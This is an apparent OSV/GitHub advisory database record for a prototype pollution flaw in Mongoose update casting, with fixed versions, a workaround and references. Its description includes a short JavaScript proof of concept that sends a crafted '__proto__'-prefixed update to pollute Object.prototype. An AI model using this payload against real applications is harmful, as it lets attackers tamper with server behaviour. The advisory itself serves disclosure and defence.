{"id":"GHSA-664h-wqgq-64gw","revision":"29ccee1ba29b4ea6b697124a9d60cef7","records":[{"revision":"29ccee1ba29b4ea6b697124a9d60cef7","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-664h-wqgq-64gw","aliases":["BIT-mongoose-2026-73562","CVE-2026-73562"],"title":"Mongoose: Prototype pollution in mongoose update casting via __proto__-prefixed dotted path (Schema._getSchema/path getter)","description":"### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nPrototype pollution in update casting: passing a user-controlled update to a Mongoose update, like `MyModel.updateOne(filter, req.body)`, can cause Mongoose to set `$fullPath` and `$parentSchemaDocArray` on `Object.prototype`.\n\nExample:\n\n```javascript\nconst mongoose = require('mongoose');\nconsole.log('before:', Object.prototype.$fullPath);            // undefined\n\nconst User = mongoose.model('User', new mongoose.Schema({ name: String }));\nconst malicious = JSON.parse('{\"$set\": {\"__proto__.x\": \"anything\"}}');   // attacker-controlled update\n\nconst q = User.updateOne({}, {});\ntry { q._castUpdate(malicious); } catch (e) { /* throws AFTER the pollution side-effect */ }\n\nconsole.log('after :', Object.prototype.$fullPath);            // \"__proto__\"\nconsole.log('enumerable:', Object.prototype.propertyIsEnumerable('$fullPath'));  // true\nconsole.log('fresh {}:', ({}).$fullPath);                      // \"__proto__\"\n```\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n9.7.2, 8.24.1. 7.8.10, 6.13.10\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nCheck user-controlled updates for own `__proto__` properties before passing to Mongoose\n\n### References\n_Are there any links users can visit to find out more?_","state":0,"publishedAt":"2026-07-24T16:22:34+00:00","modifiedAt":"2026-08-19T09:55:54.2032274+00:00","affected":[{"ecosystem":"npm","name":"mongoose","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"6.13.10"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"mongoose","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"7.0.0"},{"kind":"fixed","version":"7.8.10"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"mongoose","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"8.0.0"},{"kind":"fixed","version":"8.24.1"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"mongoose","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"9.0.0"},{"kind":"fixed","version":"9.7.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/Automattic/mongoose/security/advisories/GHSA-664h-wqgq-64gw","https://github.com/Automattic/mongoose/pull/16230","https://github.com/Automattic/mongoose/commit/f494b8430f9097fc70446d6949c8a42a27518e0b","https://github.com/Automattic/mongoose","https://github.com/Automattic/mongoose/releases/tag/6.13.10","https://github.com/Automattic/mongoose/releases/tag/7.8.10","https://github.com/Automattic/mongoose/releases/tag/8.24.1","https://github.com/Automattic/mongoose/releases/tag/9.7.2"],"sourceUrl":"https://github.com/advisories/GHSA-664h-wqgq-64gw","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-664h-wqgq-64gw","identifiers":["GHSA-664h-wqgq-64gw","BIT-mongoose-2026-73562","CVE-2026-73562"]},"retained":false,"historicalAffected":[]}],"coverage":[]}